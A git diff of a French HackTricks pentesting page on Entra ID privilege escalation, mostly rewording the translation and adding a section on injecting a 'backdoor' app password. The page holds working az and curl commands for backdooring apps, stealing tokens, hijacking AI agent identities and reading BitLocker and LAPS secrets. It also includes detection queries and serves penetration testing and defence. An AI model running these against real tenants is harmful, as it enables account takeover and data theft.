diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index dff2c43c3..a66f637b4 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> Note that **all the granular permissions** built-in roles have in Entra ID **are not eligible to be used in custom roles.**
+> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
## Roles
### Role: Privileged Role Administrator
-This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
+Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner plus de permissions aux rôles. Les deux actions pourraient être abusées pour escalader les privilèges.
- Assign role to a user:
```bash
@@ -52,22 +52,53 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
-Cela permet à un attaquant d’**ajouter des credentials** (mots de passe ou certificats) à des applications existantes. Si l’application a des permissions privilégiées, l’attaquant peut s’authentifier en tant que cette application et obtenir ces privilèges.
+Cela permet à un attaquant d'**ajouter des credentials** (passwords ou certificats) à des applications existantes. Si l'application dispose de permissions privilégiées, l'attaquant peut s'authentifier en tant que cette application et obtenir ces privilèges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id --create-cert
```
+### `microsoft.directory/applications.myOrganization/allProperties/update`
+
+Cette permission accorde la mise à jour de **chaque propriété modifiable** de toute inscription d’application **single-tenant** (`signInAudience = AzureADMyOrg`), y compris `passwordCredentials` et `keyCredentials`. Elle est marquée `IsPrivileged: true` dans le catalog mais n’est **pas** présente dans un built-in role — elle apparaît presque exclusivement dans des **custom roles** qu’un admin crée pour déléguer « manage our internal apps » sans réaliser que le sous-type `.myOrganization` limite en fait l’action exactement au groupe d’apps le plus susceptible de détenir des permissions Microsoft Graph privilégiées.
+
+- Enumerate apps with privileged Microsoft Graph permissions consented:
+```bash
+# SPs with at least one Microsoft Graph app role assigned
+GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
+--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
+-o table
+
+# Resolve a RoleId to the human-readable permission name
+az ad sp show --id 00000003-0000-0000-c000-000000000000 \
+--query "appRoles[?id==''].value" -o tsv
+```
+- Confirmez que la cible est single-tenant (dans le scope du sous-type `.myOrganization`):
+```bash
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \
+--query "{audience:signInAudience, name:displayName}"
+# audience must be "AzureADMyOrg"
+```
+- Injecter un credential dans l'application cible — l'unique étape privilégiée de la chaîne :
+```bash
+az rest --method POST \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \
+--headers "Content-Type=application/json" \
+--body '{"passwordCredential":{"displayName":"backdoor"}}'
+```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications à répertoire unique.
+Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications d’un seul répertoire.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-En s'ajoutant comme owner, un attaquant peut manipuler l'application, y compris les credentials et les permissions.
+En s'ajoutant comme owner, un attacker peut manipuler l'application, y compris les credentials et les permissions.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,9 +108,9 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent la nouvelle redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification se fera automatiquement sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
+Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des login URLs qui utilisent le nouveau redirect URL afin de voler leurs tokens. Notez que si l’utilisateur était déjà connecté à l’application, l’authentication sera automatique sans que l’utilisateur ait besoin d’accepter quoi que ce soit.
-Notez qu'il est aussi possible de modifier les permissions demandées par l'application afin d'obtenir davantage de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
+Notez qu’il est aussi possible de changer les permissions que l’application demande afin d’obtenir plus de permissions, mais dans ce cas l’utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,11 +119,11 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
-**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** attribuées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque tenant Entra ID**.
+**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** assignées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans login d'un utilisateur dans l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque tenant Entra ID**.
-Ensuite, si un attacker dispose de n'importe quelle permission/rôle qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
+Ensuite, si un attaquant a n'importe quelle permission/role qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant que l'application**, obtenant ainsi toutes les permissions dont l'application dispose.
-Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, mais quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est maintenant plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **applications custom avec de hauts privilèges qui pourraient être abusées**.
+Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, cependant quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est maintenant plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **custom applications avec de hauts privilèges qui pourraient être abusées**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +156,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Find all applications API permissions and mark Microsoft-owned APIs
+Trouver toutes les permissions API des applications et marquer les API appartenant à Microsoft
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
-Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attacker peut assumer ces privilèges.
+Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être un moyen furtif de maintenir une persistence sur un service principal.\
+> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être une façon furtive de maintenir une persistence sur un service principal.\
> Depuis l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord la déverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
+Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord le débloquer. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
-### Abus d'identifiants du blueprint Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
+### Abus d’identifiants du blueprint Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
-Les **agent identity blueprints** sont des objets application et chaque blueprint crée également un **agent identity blueprint principal** dans le tenant. Les **agent identities** sont des enfants dérivés du service principal de ce chemin de blueprint. Par conséquent, si un attaquant peut **ajouter un mot de passe/certificat au blueprint** ou a déjà volé l’un de ses identifiants, il peut ensuite s’authentifier en tant que **blueprint principal** et demander des tokens pour les agent identities enfants.
+**Les blueprints d’identité d’agent** sont des objets d’application et chaque blueprint crée aussi un **principal de blueprint d’identité d’agent** dans le tenant. Les **identités d’agent** sont des enfants dérivés de service-principal de ce chemin de blueprint. Par conséquent, si un attaquant peut **ajouter un mot de passe/certificat au blueprint** ou a déjà volé l’un de ses identifiants, il peut ensuite s’authentifier en tant que **principal du blueprint** et demander des tokens pour les identités d’agent enfants.
Cela transforme une mauvaise attribution de rôle Entra Agent ID en :
-- **Persistence** : le nouveau `passwordCredential` reste sur le blueprint jusqu’à sa suppression
-- **Privilege escalation** : un agent low-trust/dev peut passer vers un autre blueprint high-trust puis agir en tant que ses agent identities enfants
+- **Persistence** : le nouveau `passwordCredential` reste sur le blueprint jusqu’à suppression
+- **Privilege escalation** : un agent dev/de faible confiance peut passer vers un autre blueprint de haute confiance puis agir comme ses agents enfants
Les chemins dangereux typiques sont :
-- Un agent identity compromis avec **`AgentIdentityBlueprint.AddRemoveCreds.All`**
+- Une identité d’agent compromise avec **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Un owner/sponsor/admin compromis capable de gérer le blueprint
- Le vol d’un secret/certificat de blueprint existant
-Ajouter un nouveau secret au blueprint cible :
+Ajoutez un nouveau secret au blueprint cible :
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications//addPassword" \
@@ -280,7 +311,7 @@ Ou avec Microsoft Graph PowerShell :
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params
```
-Si la nouvelle credential est acceptée, authentifiez-vous en tant que **blueprint principal** et abusez de l’Agent ID token exchange. La première requête utilise la blueprint credential et définit **`fmi_path`** sur l’identité de l’agent cible. Le token retourné est ensuite réutilisé comme **JWT bearer `client_assertion`** pour obtenir un Microsoft Graph token pour cette identité d’agent.
+Si le nouveau credential est accepté, authentifiez-vous en tant que **blueprint principal** et abusez de l’Agent ID token exchange. La première requête utilise le blueprint credential et définit **`fmi_path`** sur l’identité de l’agent cible. Le token renvoyé est ensuite réutilisé comme **JWT bearer `client_assertion`** pour obtenir un Microsoft Graph token pour cette identité d’agent.
```bash
curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
-> Si un blueprint **dev** ou son agent enfant peut ajouter des credentials à un blueprint **prod**, l’attaquant franchit la frontière de confiance attendue entre blueprint/agent et obtient un accès durable à l’infrastructure de l’agent cible.
+> Si un blueprint **dev** ou son agent enfant peut ajouter des credentials à un blueprint **prod**, l'attaquant franchit la frontière de confiance attendue entre blueprint/agent et obtient un accès durable à l'infrastructure de l'agent cible.
Quick validation / scoping:
```powershell
@@ -313,30 +344,30 @@ $app = Get-MgBetaApplication -ApplicationId
$app.AdditionalProperties['@odata.type']
$app.PasswordCredentials | ? { $_.KeyId -eq '' }
```
-Notes de chasse :
+Notes de hunting :
-- Recherchez **`Update application – Certificates and secrets management`** dans [Az - Monitoring](../../az-services/az-monitoring.md)
-- Corrélez **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, et **`AADServicePrincipalSignInLogs`** en utilisant le temps, l’ID du service principal, le user-agent, l’IP, et `SignInActivityId` / `UniqueTokenIdentifier`
+- Cherchez **`Update application – Certificates and secrets management`** dans [Az - Monitoring](../../az-services/az-monitoring.md)
+- Corrélez **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, et **`AADServicePrincipalSignInLogs`** en utilisant l'heure, l’ID du service principal, le user-agent, l’IP, et `SignInActivityId` / `UniqueTokenIdentifier`
- Dans `MicrosoftGraphActivityLogs`, vérifiez `RequestUri` se terminant par **`/applications//microsoft.graph.addPassword`** et si `Roles` contient **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Dans `AADServicePrincipalSignInLogs`, examinez `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, et si la nouvelle clé a ensuite été utilisée
-KQL minimal pour voir si le nouveau secret ajouté s’est authentifié :
+KQL minimal pour voir si le secret nouvellement ajouté s’est authentifié :
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == ""
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
-Ceci est lié à l’[abuse de credential d’application](../../az-services/az-azuread.md#applications) générique et à la [persistance de credential de service principal](../../az-persistence/README.md#applications-and-service-principals), mais Entra Agent ID ajoute une deuxième étape où le blueprint credential peut être échangé contre un **different agent identity token**.
+Ceci est lié à [application credential abuse](../../az-services/az-azuread.md#applications) générique et à [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), mais Entra Agent ID ajoute une deuxième étape où le blueprint credential peut être échangé contre un **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-Cela permet à un attaquant d’ajouter des credentials aux service principals existants. Si le service principal a des privilèges élevés, l’attaquant peut hériter de ces privilèges.
+Cela permet à un attaquant d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Comme pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet d'en contrôler les credentials et les permissions.
+Comme pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet de contrôler ses credentials et ses permissions.
```bash
# Add new owner
spId=""
@@ -354,7 +385,7 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Après avoir ajouté un nouvel owner, j’ai essayé de le supprimer, mais l’API a répondu que la méthode DELETE n’était pas prise en charge, même si c’est la méthode qu’il faut utiliser pour supprimer l’owner. Donc, vous **ne pouvez pas supprimer les owners actuellement**.
+> Après avoir ajouté un nouveau owner, j’ai essayé de le supprimer mais l’API a répondu que la méthode DELETE n’était pas prise en charge, même si c’est la méthode qu’il faut utiliser pour supprimer le owner. Donc, vous **ne pouvez plus supprimer des owners actuellement**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
@@ -370,7 +401,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Ces permissions permettent de créer et d’obtenir des credentials pour le single sign-on, ce qui pourrait permettre d’accéder à des applications tierces.
+Ces permissions permettent de créer et d'obtenir des credentials pour le single sign-on, ce qui pourrait permettre l'accès à des applications tierces.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -392,34 +423,34 @@ az rest --method POST \
```
---
-## Groups
+## Groupes
### `microsoft.directory/groups/allProperties/update`
-Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui conduit à une élévation de privilèges.
+Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui mène à une escalade de privilèges.
```bash
az ad group member add --group --member-id
```
-**Note** : Cette permission exclut les groupes assignables de rôle Entra ID.
+**Note**: Cette permission exclut les groupes assignables à un rôle Entra ID.
### `microsoft.directory/groups/owners/update`
-Cette permission permet de devenir propriétaire de groupes. Un propriétaire d'un groupe peut contrôler l'appartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
+Cette permission permet de devenir propriétaire de groupes. Un propriétaire d’un groupe peut contrôler l’appartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**Note** : Cette permission exclut les groupes assignables aux rôles Entra ID.
+**Note** : Cette permission exclut les groupes assignables à un rôle Entra ID.
### `microsoft.directory/groups/members/update`
-Cette permission permet d'ajouter des membres à un groupe. Un attaquant pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés, ce qui peut accorder un accès élevé.
+Cette permission permet d'ajouter des membres à un groupe. Un attaquant pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés afin d'obtenir un accès élevé.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
+Cette permission permet de mettre à jour la règle d'appartenance dans un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
```bash
groupId=""
az rest --method PATCH \
@@ -430,11 +461,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**Note**: Cette permission exclut les groupes assignables à des rôles Entra ID.
+**Note**: Cette permission exclut les groupes attribuables à des rôles Entra ID.
### Dynamic Groups Privesc
-Il peut être possible pour des utilisateurs d’escalader leurs privilèges en modifiant leurs propres propriétés afin d’être ajoutés en tant que membres de groupes dynamiques. Pour plus d’infos, consultez :
+Il pourrait être possible pour des utilisateurs d’escalader les privilèges en modifiant leurs propres propriétés afin d’être ajoutés comme membres de dynamic groups. Pour plus d’infos, consultez :
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, ce qui permet à un attaquant potentiel d’escalader ses privilèges vers d’autres utilisateurs. Cette permission ne peut pas être attribuée à des rôles personnalisés.
+Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, ce qui permet à un attaquant potentiel d’escalader les privilèges vers d’autres utilisateurs. Cette permission ne peut pas être assignée à des custom roles.
```bash
# Update user password
userId=""
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
-Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour devenir membre d'un dynamic group spécifique et escalader les privilèges.
+Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour être membre d'un groupe dynamique spécifique et d'escalader ses privilèges.
```bash
#e.g. change manager of a user
victimUser=""
@@ -480,9 +511,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Politiques d'accès conditionnel et contournement de MFA
+## Stratégies d'accès conditionnel & contournement de MFA
-Des politiques d'accès conditionnel mal configurées nécessitant MFA peuvent être contournées, vérifiez :
+Les stratégies d'accès conditionnel mal configurées nécessitant MFA pourraient être contournées, vérifier :
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-Cette permission permet aux attaquants de s'assigner eux-mêmes comme owners de devices afin de prendre le contrôle ou d'accéder à des paramètres et des données spécifiques au device.
+Cette permission permet aux attackers de s'attribuer eux-mêmes en tant que owners de devices afin d'obtenir le contrôle ou l'accès aux paramètres et aux données spécifiques au device.
```bash
deviceId=""
userId=""
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Cette permission permet aux attaquants d'associer leur compte à des devices afin d'obtenir un accès ou de contourner des politiques de sécurité.
+Cette permission permet aux attaquants d’associer leur compte à des devices pour obtenir l’accès ou contourner des politiques de sécurité.
```bash
deviceId=""
userId=""
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Cette permission permet aux attackers de lire les propriétés des credentials de compte administrateur local sauvegardés pour les devices Microsoft Entra joined, y compris le mot de passe
+Cette permission permet aux attackers de lire les propriétés des credentials de compte administrateur local sauvegardés pour les devices Microsoft Entra joined, including le password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -529,7 +560,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-Cette permission permet d’accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des lecteurs, compromettant la confidentialité des données.
+Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant la confidentialité des données.
```bash
# List recovery keys
az rest --method GET \
@@ -550,7 +581,7 @@ az rest --method GET \
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`
-## Références
+## References
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)